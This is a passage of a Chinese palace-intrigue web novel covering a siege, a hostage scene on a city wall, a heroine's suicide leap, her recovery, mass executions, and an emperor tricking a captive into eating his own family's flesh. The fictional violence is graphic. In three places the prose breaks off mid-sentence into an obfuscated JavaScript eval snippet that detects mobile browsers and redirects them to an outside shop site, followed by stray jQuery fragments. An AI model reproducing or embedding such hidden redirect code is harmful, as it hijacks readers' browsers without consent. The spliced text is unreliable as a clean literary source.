上官华领兵攻入皇宫时,他兵败如山倒,披头散发地坐在大殿中,庆幸自己早早将胡玉烟送走。之后局势扭转,短短几日间,山河易主,旧臣来降,他手中又重新握了兵权。
命运终究还是站在他这一边的。
他与胡玉烟分别不过十日,是无尽的想念和心忧。他大势已去时想的是胡玉烟定是会为他哭一场的,说不定还会后知后觉地察觉到爱他入骨。后来他又害怕胡玉烟得了心心念念的自由,走得太远,远到他再也追不上。
他杀了蒋卫的子女,独独留了蒋卫的性命来向上官茂叫阵。看着玉佩,赵长昭浑身血液变得冰凉,方才攻城的喜悦瞬间荡然无存。
他明明安排好了人手护送胡玉烟去找她弟弟,可蒋卫为什么会有这枚玉佩,一种不好的预感自心底升起,赵长昭尚未反应过来,便听得葛复一声令下。
“攻城——”
炮声骤然炸开,震得天地俱是一颤。
胡玉烟正蜷在破旧的屋角,她踮起脚,想将赵长昭的面目看得更真切一些,紧接着,眼看着半黑的天被火光映得赤红,一颗巨大的炮弹划破天际,带着尖啸的尾音,砸向她的所在。
一瞬间,她几乎来不及反应,耳边全是嘶鸣。
胡玉烟跌进一堆瓦砾里,头皮被震得生疼。下一刻,整个屋顶轰然塌下,灰尘和碎瓦如雨点砸落。她用手死死护着头,眼前一片昏暗。
36. 蔷薇(四)
胡玉烟的呼吸一阵紊乱,胸腔被压得发闷,耳中嗡嗡作响。她挣扎着想站起,却发现脚踝被瓦砾卡住,只能再次狼狈地摔倒在地。
“赵长昭——”她几乎是本能地喊出声来,声音嘶哑破碎,散在漫天的烟尘里。
又一声炮响震裂空气,她身边的地面被炸得掀起。热浪几乎要将她整个人吞没,她捂住耳朵,痛苦地蜷成一团。
石墙破了一个大口子,胡玉烟跌跌撞撞地往门外爬去。灰尘还未落定,脚步声便从远处逼近。
胡玉烟还未来得及躲藏,破碎的门被一脚踹开,几名全副武装的士兵闯了进来。
“就是她。”为首的人语气森冷,挥了挥手,“带上去。”
胡玉烟搞不清楚状况便被人从瓦砾中拽起,她几乎站不稳,只能被拖着往前走。她想开口问,却嗓子干得发不出声音,只能艰难地挤出几个字:“你们……要带我去哪?”
胡玉烟的手被押在身后,风从衣袖间钻过,带着冰冷的尘气。
她走了好几步才反应过来如今的处境。
胡玉烟耳畔仍嗡嗡作响,她算不清自己究竟被关了几日,而今终于重见天日,阳光照在身上时,脑中有一瞬间的空白。
他们一路穿过满地废墟与焦黑的街道,登上蜿蜒的石阶。随着每一步向上,视野一点点开阔,寒风愈发凛冽。
到了城楼上,胡玉烟几乎被风吹得睁不开眼。她被人推到一处角落,勉强稳住身形,抬眼一看,那儿已有一人站着。
是安阳公主。
胡玉烟愣住,她只知安阳公主被许配给了上官楚的长子上官华,为何她如今会出现在这里?
胡玉烟如今的模样狼狈极了,她头发散乱,衣裙破败,浑身尽是方才留下的尘土,身上还有斑斑血迹,安阳公主浑身缟素,神情凄惨,也不比她好上许多。
胡玉烟颤抖着,看了看城楼上的人,又举目远眺想将赵长昭的的脸看得更清楚。
听见动静,安阳公主回过头,目光与胡玉烟短暂相撞。
胡玉烟被人推搡着走向南阳公主身侧,风卷起她鬓角的乱发,她抬眼,看见远处的战阵在翻滚。
火光映亮了半边天,赵长昭的旗帜在风中猎猎作响。
上官茂冷笑着举起手中的令旗:“皇帝小儿!”
“我上官家为国尽忠多年,竟落得如此下场!如今我父身陷险境,乃是你故意陷害,有你做皇帝,实在是赵国之不幸——”
胡玉烟怔住,胸口的气息一滞,对方却已将刀架在了安阳公主脖子上,安阳公主合上眼,两行泪水滑落。
“皇帝!你速速退兵,我倒是可以考虑饶过你姐姐性命!或者,她如今也是上官家的人,死了也不亏?”
“那这个女人呢?我听蒋家说这个女人一直被你小心翼翼地藏在宫里?”胡玉烟的嘴角微微颤动,上官茂的声音在风中炸开,带着歇斯底里的怨毒。
“上官茂——”远处传来赵长昭撕心裂肺的喊声。
马儿焦躁地在原地打转,赵长昭急切地对下属喊道:“快停!快停!不许攻城!”
一旁的葛复急了,“陛下……上官家大势已去,只要攻下这城……”
“朕说停!”赵长昭嘶声打断葛复,声音破裂。
赵军的阵列在他一声声令下中硬生生收住攻势,漫天的烟尘逐渐散去,露出那座摇摇欲坠的城楼。
上官茂望着这一幕,脸上的笑意更深,仿佛在品味某种胜利的滋味。
赵长昭的脚步顿住,双手颤得握不住缰绳,“上官茂!”他缓缓抬起头,声音沉得几乎压在胸腔深处,“放了她们,你要什么——朕都答应你!”
上官茂喉间溢出一声低笑,话音冷厉而急促:“我要你出兵,与我同去前线支援我父!”
马儿焦躁地扬起前蹄,嘶鸣声在寒风中回荡。赵长昭双目赤红,死死瞪着城楼上的上官茂。葛复翻身下马,重重叩首道:“陛下,成败在此一举,不可功亏一篑啊!”
身后陆续传来劝谏声,皆是恳求赵长昭三思。
上官茂见他犹豫,脸上浮起一丝狠意,伸手揪住安阳公主的后领,猛地将她压向城墙边缘。
安阳公主惊呼出声,失了重心,拼命挣扎,双手死死抓着城垛。
“上官茂!你住手——!”赵长昭嘶吼,声音几乎撕裂喉咙。
“皇帝!”上官茂厉声回道,手上力气又重了几分,“快做决定啊——!”
“救命!救命——!”安阳公主声音颤抖,带着恐惧的哭腔,回荡在空旷的风里。
胡玉烟被困在一旁,胸口起伏不定,大口喘息。她与赵长昭分离多日,曾无数次幻想重逢时的情景,却万没想到再见,竟是在这般血色与绝境之下。
大难临头,胡玉烟忽而自怜起来,同为女子,两方对垒,她们皆成了砧板鱼肉,下场恐怕不会好……她痛有十分,安阳公主只会多不会少。
安阳公主半个身子已悬在城墙之外,胡玉烟双腿发软,只能死死盯着赵长昭,等他发话。
“上官茂——好、好!朕答应你!”赵长昭的声音里是罕见的慌乱与无措。
上官茂这才松手,安阳公主瘫坐在地,面色惨白,掩面痛哭。
胡玉烟抿紧唇,缓缓垂下眼帘,从两人的对话中终于理清局势。
她心中忽而生出一丝宽慰,连身上的痛都似乎淡了几分。
上官家已至穷途末路。
她等了这么久,终于要见到报应降临,血债得偿。
“皇帝!事不宜迟,既然做了决定,你且速速退兵!”上官茂催促道。
隔着烟尘和喧嚣,胡玉烟与赵长昭对视了一瞬,她看见一种撕裂的痛。赵长昭在烟火之下咬紧牙关,怒与痛交织着,仍不肯放手。
风卷起她鬓边的碎发,血与尘混成一团,糊在她的脸上。
她看见赵长昭眼底的惊惶,忽而慌乱,生怕赵长昭会动摇。她捏紧了拳头,太久没有修剪的指甲嵌进掌心。
上官家的血债,她日日夜夜都在梦中偿还,梦里火光滔天、白骨成堆,她在梦里也笑。
“退兵啊,赵长昭!”上官茂厉声喝道。
身后的士兵跪倒一片,赵长昭骑在马上注视着前方一动不动,他张了张口,却始终说不出话来。
安阳公主的脖颈上已多了一道血痕,上官茂无声地催促着。
安阳公主神情麻木,胡玉烟已分不出多的怜悯,心底涌上一种复杂的酸楚,任何人也不能阻止她,包括她自己。
士兵也将刀架在胡玉烟脖颈上,她颈上生凉,却动也不动。她半生都在战战兢兢、受制于人,刀尖、枷锁、流言、侮辱……样样尝过。到此时此刻,她已不惧。
她心中起了几分顽劣,她也想知道赵长昭会怎么选,反正不管赵长昭选哪一边,她都不会原谅他。
胡玉烟抬眼望向他,静静地,死死地盯着。她盼着看到一丝迟疑、一抹痛楚,可赵长昭在那一刻忽然垂下眼帘,目光避开她,盯着脚下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678190|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尘土,神情木然而悲凉。
那一瞬,她忽而觉得可笑,多像当年,那时她还在旧朝,仍是淑妃。每当她受辱,赵长曙也总是这样,不看她,不救她,只假装什么都没发生。
刀锋在颈上轻轻一颤,胡玉烟被那冰凉的触感唤回神智。冷意一点点爬上她的脊背,她却笑了,原来结局早就注定,这样也挺好。
她望着赵长昭,看他从惊慌、到痛苦、再到麻木。
这一切都太熟悉了。
她陪着赵长昭一点点走到今天,所以她知赵长昭不会为任何事放弃。
可是……赵长昭,你为何不看我一眼?
赵长昭身边跪地劝谏的人越来越多,赵长昭却始终一言不发。
安阳公主瘫坐在地,带着渴求地看了一眼城楼外。上官茂的刀还横在她面前,寒光映着血气。
胡玉烟垂下眼,胸口起伏剧烈。
上官茂催促的声音不停,赵长昭骑马立于原地,身旁跪倒了一片人。
他颤着声音喊退兵,身旁之人却无一应声,只直直跪倒在地,赵长昭的声音越来越小,到最后自己也没了底气。
上官茂急在心里,紧接着,安阳公主抹了一把泪水,趁着上官茂不备,猛地伸手去抢那柄刀,往自己胸口撞。
刀锋划破掌心,鲜血立刻淌出。她死死攥着刀柄,却终究力气不及男人,被上官茂一脚踹倒在地,刀也被踢飞出去,叮当滚到了胡玉烟脚边。
“蠢女人!”上官茂骂道。
一瞬的意外打断了胡玉烟的思绪,看着地上明晃晃的凶器,她弯下腰手指几乎是在本能的驱使下握住了那柄刀。
上官茂以为她想反抗,脸上挂着轻蔑的笑。
胡玉烟已站了起来,动作极快,刀光一闪,猛得向前扑去。
安阳公主似是预知到了什么,立刻闭了眼,脖颈间血线骤然绽开,鲜血洒了一地。
上官茂也愣了片刻,随即暴怒:“贱人!”
他一脚将胡玉烟踹倒在地,急忙去检查安阳公主的气息。
胡玉烟的手在发抖,她抬起头,透过战火与烟尘,朝远处的赵长昭看去。
她刚刚杀了他的姐姐,最终还是她替赵长昭做选择了。
胡玉烟有几分慌乱,身体却已经先做出了反应,她忽然一转身,趁着士兵的刀势未稳,反手推开他。身后的风呼啸着卷过她的鬓发,长裙猎猎翻飞。
一切发生得太快了,她纵身一跃,身影坠入滚烫的尘烟之中。
赵长昭从马上跌下来,整个人都僵住了,对着已经发生的变故惊呼道:“不要——!”
耳畔话音未落,胡玉烟忽而在想,赵长昭的那声“不要”是让她不要杀安阳公主,还是让她不要从城楼上跳下来。
下落的瞬间,风从耳畔呼啸掠过,疼痛与失重同时袭来。
胡玉烟从来没有这么觉得过赵长昭的话这么对。
他们是一样的,同样情深,同样偏执,也同样走到了无路可退的境地。
命运让他们互相折磨,也互相成全。她杀了赵长昭的唯一的血亲,也杀了自己。他下了决心却做不了的决定,她替他做了。
胡玉烟衣袂翻飞,像一朵白色的花,在战火与炮声之间,静静凋落。
赵长昭策马上前几步,却被葛复死死拦住。
他眼前的城墙在烈火中崩塌,灰烬如雪飘落。
胡玉烟的唇微微动了动,似乎在说——
“现在,你该攻城了。”
37. 蔷薇(五)
胡玉烟以为自己死了。
她伸手去抓,指尖却掠过一片虚无。
赵长昭的声音掺着哭腔,在遥远的地方一声声唤她的名字。她的胸口好像被什么压住,呼吸不畅,想应他一声,却发不出声。
意识渐渐回笼,她意识到自己还活着。那一刻的本能是呼吸,可空气从喉间灌入时,反倒像被刀割一般,每一寸肌肤都在疼。
她听见外头隐约的喊杀声渐远,炮火已停,指尖有了知觉,冰冷、湿滑,像是血。
很快手被握进一个发烫的掌心。
意识到赵长昭就在身边,胡玉烟安心了些,随后才任凭知觉渐渐散去。
战火燃了整整三日三夜,天色昏黄,血与尘混成一片。越国报了信来,上官楚宁死不降,最后死在乱军之中,长枪透胸,仍死死握着佩剑。
消息传回京师,赵长昭坐于御座之上放肆地大笑不止,丝毫不顾天家威严。他从容地挥了挥手,上官家旧日的门客、世交、外戚,一个个被拖出金銮殿外,跪在漫天血雾下。
他听着殿外呼声震天,仿佛整个天下都在向他俯首。
胡玉烟昏睡了很久。
她偶尔能醒来一会儿,清醒时剧痛逼得她几乎蜷起身子,痛得她恨不得立刻晕过去。
“玉烟。”
赵长昭在唤她,那声音低低的,透着倦意。
胡玉烟从喉咙里发出一声哀嚎,算是回应。
她想问他如今天下如何,可话到嘴边,剧痛从脖颈蔓延开来,一路爬到肩头、脊背,像被火舌舔过,又像被人一寸寸碾碎。
赵长昭整日不离,目光始终没离开榻上之人,任朝事堆积如山,也不肯离开半步。
他靠在她床边,听着她断断续续的呼吸声,随之揪心。天下医者被传召入宫,无论多么稀有珍贵的药材都马不停地往皇宫送。
胡玉烟每次醒来时间都很短,她看见他,想说点什么,却总被重新拖进昏暗中。
五脏六腑都在痛,她碎了,又被人强行拼好。
春意一点点爬进宫里,御花园的梅花落尽,枝头已经冒出细嫩的绿芽。
眼前是宫灯的微光,一盏又一盏,照得屋子暖融融的。胡玉烟费力地抬起手,却只摸到指尖的一片凉意。
她第一次能清楚地看见赵长昭,听见她轻微的咳声,他立刻几步来到榻前。
“玉烟?”他的语气里有抑不住的喜意。
“我疼……”胡玉烟的嘴唇颤抖,眼眶中聚了一汪水。
“玉烟,你终于醒了……”赵长昭死死握住她的手,一刻也不肯放开。
眼前人的喜悦像一根刺,胡玉烟颤声道:“我受不了,让我死吧。”
赵长昭神色一僵,随之落泪,他在她额头上吻了又吻,又从药匣中取出一枚丹药喂给胡玉烟。
“玉烟,不许说傻话。”赵长昭语气笃定,看着眼前人因疼痛而颤抖心痛到无以复加,可他要她活着。
胡玉烟留着泪摇头,道:“不要了……我不想这么活着……放过我吧。”
赵长昭呼吸一滞,一点点吻去她的泪水,呢喃着:“玉烟,吃药吧,吃了药会好起来的。”
看着赵长昭满目的哀求,胡玉烟眼中的希望一点点破碎,她使了全身力气,一下子咬在赵长昭的食指上。
赵长昭丝毫不躲,只将她拥进怀里,安抚地轻拍着她的背。
屋中的药香渐淡,取而代之的是温和的草木气息。胡玉烟清醒的时间越来越长,起初只是能睁眼半刻,如今已能倚着软枕,静静坐上一会儿。
疼痛一点点淡去,她按时进膳服药,心里是劫后余生的胆寒。赵长昭不让她离开,拼尽一切将她留在人间。
赵长昭将上官家的下场细细与她说了,胡玉烟苍白的脸上霎时间透出红润。
她渐渐能下床行走,最初只是沿着殿内缓缓踱几步,扶着雕花的柱子,步伐轻得几乎没有声音。后来,便能在御苑中散一会儿步。
她迫不及待想去亲眼看看上官楚的头颅,心底的仇已报尽,反倒有了几分空落。
“玉烟,你看。”赵长昭牵着她的手去摸诏书,“我追封了你父亲为国公,舅舅为太师。”
“我还派了人去接你弟弟,不日就该到了。”赵长昭的眼睛亮晶晶的,满心满眼皆是她。
胡玉烟忽而悸动,她近来总是梦见那日城楼上的场景。她本来要死了,是赵长昭强行留她,还装作什么事都不曾发生。
赵长昭拥住她,将她的头按在他胸口,“玉烟,我要封你做皇后。”
心中的忧思忽而荡然无存,胡玉烟轻轻推开了他,神色冷静,“你知道的,我不会做你的皇后的。”
赵长昭的笑僵在脸上,他依旧柔声道:“那玉烟要不要再歇会儿?”
胡玉烟依言躺回榻上,背过身去不再理他。
赵长昭开始送东西来她殿中,一开始是金银珠钗。锦匣一层叠一层,宫婢抬得手都发抖。胡玉烟抬眼看他,道:“我病得久了,戴不了这些。”
他却仍固执地命人送来,贴在她耳畔道:“不戴也好看。”
过几日,他又遣人自西域送来琉璃与香料。那香一燃,满殿氤氲,带着异域的甜意。胡玉烟闻了,轻声说:“太浓了。”
赵长昭却笑,说:“你曾喜欢栀子香,我让他们学着调了十几次,才成这个味。”
再后来,南边的玉石、北方的貂裘、东海的珍珠、西域的金丝,皆堆满了她的寝殿。
胡玉烟看着那一室的华彩,心里却说不出滋味。
赵长昭倚在榻侧,将一枚雕着鸳鸯的金簪轻轻插入她发间,语气低哑:“你看,我从前什么都不能给你,如今……想补,也补不完了。”
胡玉烟看着铜镜中的自己,鬓发间闪着灼灼金光,笑意温柔又怅然。
“那就别补了。”她声音极轻。
“你说派了人去接我弟弟?”
赵长昭仍在为她试发簪,听得她的问话才道:“是啊,应该快到了。”
“赵长昭。”胡玉烟捏住他的手腕,二人目光相接时升起了几分尴尬。
赵长昭的动作僵了僵,顺势坐下。胡玉烟也坐得离他更近了几分,“秀郎在想什么?”
赵长昭停了呼吸身躯微仰,胡玉烟却是不依,将他的头扶正,她盯着他的眼睛,道:“你如今是万人之上的皇帝了,我还是什么都没有。”
赵长昭在她鬓发上落下一吻。
“封我弟弟做尚书好不好?”胡玉烟的声音带着引诱。
赵长昭的眉头跳动了一下,面色忽而变得痛苦。胡玉烟的心冷了几分,他伸手去握她的手,却被她先一步攥紧。
“你又骗我……”一行泪水顷刻间滑落,胡玉烟踉跄着后退几步,脸上带着不可置信。
赵长昭张了张口,终究下定决心道:“你弟弟他……上了战场,随军北上……”
胡玉烟听着他就这么说出真相,嗤笑出声。
赵长昭怔怔看着她,喉咙里发出一声近乎破碎的低音。
她一步步逼近,指尖狠狠戳在他胸口,赵长昭的神色骤然黯淡,他想去抓她,却被她一掌推开。
赵长昭的手指颤抖,只紧紧攥着她的衣袖,“对不起……”
“为什么到了最后,竟然是你在我身边?”胡玉烟歪了歪头,审视着赵长昭,像是在看一个陌生人。
赵长昭被这目光刺痛,他也怀疑起自己,是不是他的出现才带给了胡玉烟无尽的痛苦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702741|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……
胡玉烟没有与赵长昭争辩,她走出殿门,在花树下立良久。
又过了几日,赵长昭派人送来了珍珠、金饰、奇花、绫罗……胡玉烟一一翻看,然后发了疯似的全部砸碎。她淡淡地吩咐了一声,“送东西的内侍拖出去,掌嘴二十,日后我不想看见他。”
从此以后,赵长昭便不再送礼物给她。
赵长昭每日必定来看她,胡玉烟平躺在床上,双眼睁着,却没有焦距,神情安静得近乎诡异。
不再有礼物,赵长昭指尖轻叩着一卷竹册,列着上官家的余孽与旧部,从上官楚的旁支子侄,到那些曾经暗中效忠的官吏。
“玉烟。”他语气平静,像在玩笑,“你想先杀谁?”
胡玉烟怔了怔,仿佛没听懂。片刻后,她伸出手,轻轻展开竹册。
她抬眼望了赵长昭一眼,那双眼里第一次透出一点明亮的光。
“真要听我的?”她低声问。
赵长昭点头,胡玉烟笑了,是从未有过的鲜活。她俯身靠近,目光掠过一行行名字,认真挑选起来。
早春的风里还带着冬日的凉意,刑场设在午门之外,胡玉烟披着一件薄披风,穿了一身洁白。
行刑的鼓声重而缓,刽子手拔刀时,胡玉烟眯起眼,审视着跪在泥泞中的一排人。
刀光一闪,血溅了半步远,温热的气息散开。
她看着血从石阶上蜿蜒流下,心头忽然轻松得出奇。那种压在胸口的闷痛似乎一点点散去了,呼吸都顺畅了。
风卷起刑台上未干的血腥味,胡玉烟深深吸了一口气,眉眼间透出平静的笑意。
赵长昭将胡玉烟的快意看在眼里,他握住胡玉烟的手与她十指相扣,胡玉烟没有拒绝,反而朝他笑了笑。
二人回宫时已是半夜,月光将水面照得微微发亮。
屏退了众人,只他们二人走在长街上,胡玉烟一路上都步履轻快,带着笑意。
她在栏边停下,鬓发被风拂乱。
“玉烟。”赵长昭上前一步,神色认真。
他几乎是哀求般地开口,“你能不能……”
眼前人是那么鲜活,赵长昭等这一刻等了太久。
胡玉烟垂眸,耳边的金珠晃动,发出极轻的叮当声。她看着着赵长昭,缓缓摘下一只耳环,举到眼前端详。
下一瞬,那只耳环在她指间一转,轻轻抛入湖中。
“你若能将我的耳环寻回来,我便原谅你。”
话音未落,赵长昭毫不犹豫地一头扎入湖中。
胡玉烟并不意外,看着水面被夜色吞没,只余一圈圈扩散的涟漪。
夜风打在脸上,她走到湖的另一端,半个身子倚在栏杆上,她脸上泛起淡淡的笑意,迫不及待地想象着等赵长昭爬上来之后发现她已经坠湖身亡的场景。
她也食言了,要丢下他一个人了。
心中本是出奇的平静,可就在低首的瞬间,不知何处飞起一群寒鸦,叫声凄厉,引得她猛地一阵不安。
胡玉烟皱起眉,发觉水面平静无痕,丝毫不见赵长昭的身影。
她大声呼唤着赵长昭的名字,声音在寒风里有些颤。
又等了好一会儿,湖上波光粼粼,连个人影也寻不见,胡玉烟彻底慌了。她的喊声中带着哭腔,仍没有人回应。
胸口一阵破碎,胡玉烟迫不及待想跳入湖中去寻赵长昭。这时湖水忽然翻动,赵长昭一下子从湖中探出头来,溅起的水花洒了胡玉烟一身。
胡玉烟终于长长呼出一口气,她俯身,伸手向下,语气里带着几分如释重负:“快上来,我抓住你了。”
赵长昭脸上亮晶晶的,挂着得意的笑。他掌心摊开,那只耳环稳稳躺在上面。
38. 木棉(一)
帝王祠内,胡玉烟望着画像上那张曾经熟悉到骨子里的面容,心中升起一丝恍惚。
赵长曙分明道过“今生已矣,来生不见”,她当时只觉心如刀绞,口中强说放不下,可如今心中却忽而明澈起来。
赵长昭“求皇兄成全”的话如雷贯耳,胡玉烟哭得几乎无法自抑,泪如断线珠帘,止也止不住。
她嘴上说求不得,说放不下,可心底最深处,真的还在苦苦执着吗?
赵长昭紧紧将她揽入怀中,待她情绪稍稍平复,他又低头,一寸寸吻去她脸上的泪痕。
胡玉烟依旧挣扎,赵长昭却不许,使了力气握住她的脖颈,他吻得越来越用力,双唇相接时,两人的喘息声在周遭显得十分清明。
胡玉烟抬眼间又瞥见墙上的画像,她心中涌起一股酸楚,只用力咬了下去,趁着赵长昭吃痛,将他一把推开。
赵长昭回过神来,两人四目相望,胡玉烟神情茫然,片刻后便起身,步履微乱地走出祠堂,毫不留恋。
“玉烟!”赵长昭皱了眉,他还跪在原地,在他兄长的牌位面前,急切地开口唤她。
胡玉烟一手扶着门框,偏过头来看他,她对赵长昭说话,目光却是落在墙上的画像上,“陛下,上官奸贼的尸身明日抵京,陛下莫忘了。”
一片枯叶悠悠落下,打着旋儿跌入尘土。
轻骑飞快入得宫门,上官楚的尸体被千里奔波运回元都,停在殿外最偏僻的那方长阶下。披着黑布的大棺尚未开启,周遭却已沉入死一般的寂静。
沉重的木板缓缓揭起,一瞬之间,那张已见腐烂之态的脸便暴露在天光之下。
赵长昭立刻发出一声狂笑,胡玉烟也捂住嘴身躯轻颤抖,她半个身子靠在赵长昭怀中,伸手与他十指相扣,两人间的隔阂在上官楚的尸身面前荡然无存。
上官楚的面容已僵,血肉干枯,箭孔密密麻麻地布满了他的胸腹。
胡玉烟看清了,瞳孔猛然一缩,像是被灼伤了似的。
赵长昭踉跄着扑向棺木,手死死攥住棺沿,骨节发白,指甲几乎陷进了老木纹理里。他一边颤抖,一边握上那截干枯的手,生生掰断了一根已经僵硬的手指。
“是他,是他……真的是他!”他的声音嘶哑,语调却带着近乎癫狂的欣喜,“他死了!哈哈哈哈——他真的死了!”他忽然仰头狂笑,笑得歇斯底里。
众人见皇帝疯癫失态,纷纷垂首立在原地,大气也不敢出。
胡玉烟一边抱住赵长昭,一边将自己往他怀里缩,她此前从未见过上官楚,她第一次见到这个造就她一生苦难的人他便已经成了一具尸体了。
胡玉烟颤抖着,竟对一个死人生了惧意。
赵长昭仍旧伏在棺前,一边笑一边喃喃低语:“你不是说朕是个废物吗?不是说我赵家的江山迟早会姓上官吗?你看看,现在是谁跪着?是谁在棺里?”
他的声音一寸寸拔高,几近破音:“你睁开眼看看我啊!我赢了!你输了——你输了——”
胡玉烟跪在他身旁,伸手捧起他被泪水与汗水浸湿的脸,笑意里带着哭腔,“秀郎,够了,已经结束了。”
赵长昭仍像个走不出梦魇的孩子,忽然,她的脖颈处传来了一阵痛苦。
胡玉烟知道那是牙齿刺破皮肉的痛,可能见血了,不过没关系。她动作不乱,依旧轻柔地拍着赵长昭的后背,脸上挂着盈盈笑意,一下一下,想把他从死亡、痛苦、恨意里拖回来。
“他死透了,秀郎。”
胡玉烟瞥了一眼棺木中扭曲变形的脸,又将怀中人搂紧了几分,像旧日情意的回光返照。上官楚夺走了她的一切,最终能落在她怀里的,只剩下一个活生生的赵长昭。
她竟还剩得下这么一个人……
上官一族被诛杀,皇宫中张灯结彩大肆庆祝,民间却有人悄悄奏了哀乐。
赵国吃了败仗,四朝老臣上官楚将军死在了战场上,历经一月尸身终于运回了京城。
上官家的亲兵入京时已经知道了皇帝急不可耐地处置了上官一族。
“上官家倒了……我们该不会……”阿甲忍不住和领头兵攀谈起来,他年前才娶了妻,正准备回家抱儿子,皇帝和上官家积怨已久,至于要怎么处置他们,谁心里都没个底。
“别胡说。”领头兵立刻打断了他的话,“我们为国出生入死这么多年,现在又是缺兵力的时候,圣上岂能自断双臂……”
入得京城,两万亲兵还未曾安置,先接到的是发饷的通知。
“太好了!”阿甲笑得合不拢嘴,抬起他被轧断了三根手指的右手擦了擦汗,领了饷他也能为老婆孩子添置些东西。
领头兵也如释重负地笑了起来,“哈哈哈哈,我就说,我们为国征战,圣上不会亏待我们的。”
上官家两万亲兵围在在太和门外,因是领饷,便纷纷卸下了兵刃,未着战甲,只着布衣。
阳光刺眼,金瓦辉煌。有人脱了外袍搭在肩上,擦着汗,嬉笑着说:“元都果真富贵气,连太阳都暖些。”
“回了家,我兄弟非得给我磕三个响头不可,我还活着!”
“你小子就吹吧!”
忽而,笑声被一声不知从何处传来的号角撕裂。
几息之间,城墙之上黑压压现出数排持弓禁军,铠甲森然,金羽箭簇在阳光下冷光森寒。
还未来得及反应,领头的那名亲兵陡然变了脸色,大喊:“不对劲!快——”
话音未落,箭如骤雨。
第一排士兵整齐倒地,血从脖颈喷出,溅了后方一人满脸。
他瞪大双眼,尚未开口,又是一箭穿喉。
惨叫声、嘶吼声此起彼伏,队伍一阵混乱只能徒劳奔逃。
阿甲抱头蹲下,刚开口喊了一句“别杀我”,一箭直贯其额。
血流满地,欢喜变成地狱。
短短一炷香的时间,两万旧部无人生还,尸体从太和门外一直堆到金水桥,血水顺着台阶蜿蜒而下,染红了石狮爪下的苔藓。
赵长昭嘴角含笑,弓箭队已撤,他仍站在城楼上机械地重复着射箭的动作,直到手臂酸软。
内侍脸上挂着谄媚的笑意,躬身禀报:“禀陛下,上官旧部贪墨军饷,哗变拒捕,已就地正法。”
赵长昭笑意更甚,随手摘下手上的翡翠扳指连同弓箭一起丢给内侍,“赏你了。”
内侍连连道谢,赵长昭快步上前,牵起胡玉烟的手,“玉烟快走,我要等不及了。”
不远处的空地上,上官华被五花大绑,置于烈日之下,他刚刚亲眼目睹了一场了残杀,尸体未凉的血腥气充斥着周身。
高台已经搭好,赵长昭激动万分,没有落座,径直走到上官华面前。
“大公子,没想到是你活到最后啊。”
上官华不语,眸色一片
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715292|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死灰。他眼下深陷,嘴唇干裂,整个人如枯木一般跪在那里。
他们兄弟三人被关在地牢,赵长昭却命人只能送来一人份的囚粮,他的两个弟弟都死于饥寒。
他缓缓仰起头,视线自赵长昭身上掠过,又落在他身旁那女子身上。
“昏君。”他声音嘶哑,笑得轻蔑,“你为杀我父,不惜将五座城池拱手送给敌国,可笑至极。哪日外患当前,你自去寻根麻绳了结,可别来我父坟前磕头认错。”
赵长昭并不恼怒,只是揪住他的衣襟,接过身旁内侍递上的水碗,他将水递到上官华面前,上官华只犹豫了一瞬便大口大口饮起来。
“我是上官楚亲自挑选的最满意的皇帝,五座城池换一个上官楚,他也会觉得划算的。”
上官华饮了水,恢复了几分神采,他微微偏头,盯住不远处的胡玉烟,脸上多了几分戏谑,“我当是谁,这不是胡家女吗?怎么你没死?”
胡玉烟莞尔一笑,上前几步行至他身边,与他说:“我不仅活着,还特意来送你一程。”
上官华脸上抽动一下,将碗中水一饮而尽,随即挣动着将碗打翻。
金碗在地上滚了几圈,上官华盯着二人,反应过来后哈哈大笑,“你们!哈哈哈哈!你们两个居然……啧啧,荒唐,简直荒唐至极。等我见了父亲,一定把赵家皇帝这个大笑话讲给他听!”
赵长昭不以为意,反倒看着他笑完,随后拿过一块肉饼,递到他嘴边。
上官华来者不拒,张口撕咬起来,他一边咀嚼一边冷笑,“要我说你们还真是绝配,一个孬种,一个婊子,天底下再也找不到这么配的一对。”
他吃完了一个肉饼,赵长昭面不改色地递过来第二个,“你们说,等我下去了,是先把这件事告诉父亲还是告诉先帝?”
赵长昭似乎没听见,脸上的笑意反而更深。他慢条斯理地又递上一块,“你说得不错,我们确实般配。”
上官华眸光发亮,好似抓住了赵家皇帝好大一个把柄。
“好吃吗?”赵长昭含笑盯着他,面上挂着病态的兴奋神色。
上官华神情微动似是不解。
“肉饼好吃吗?”赵长昭笑意更甚,他站起身,拿起丝帕擦了擦手,“一块是你父亲的腿肉,一块是你儿子的心头肉,哪个味道更好?”
赵长昭语调轻缓,好似真的只是在谈论家常菜。
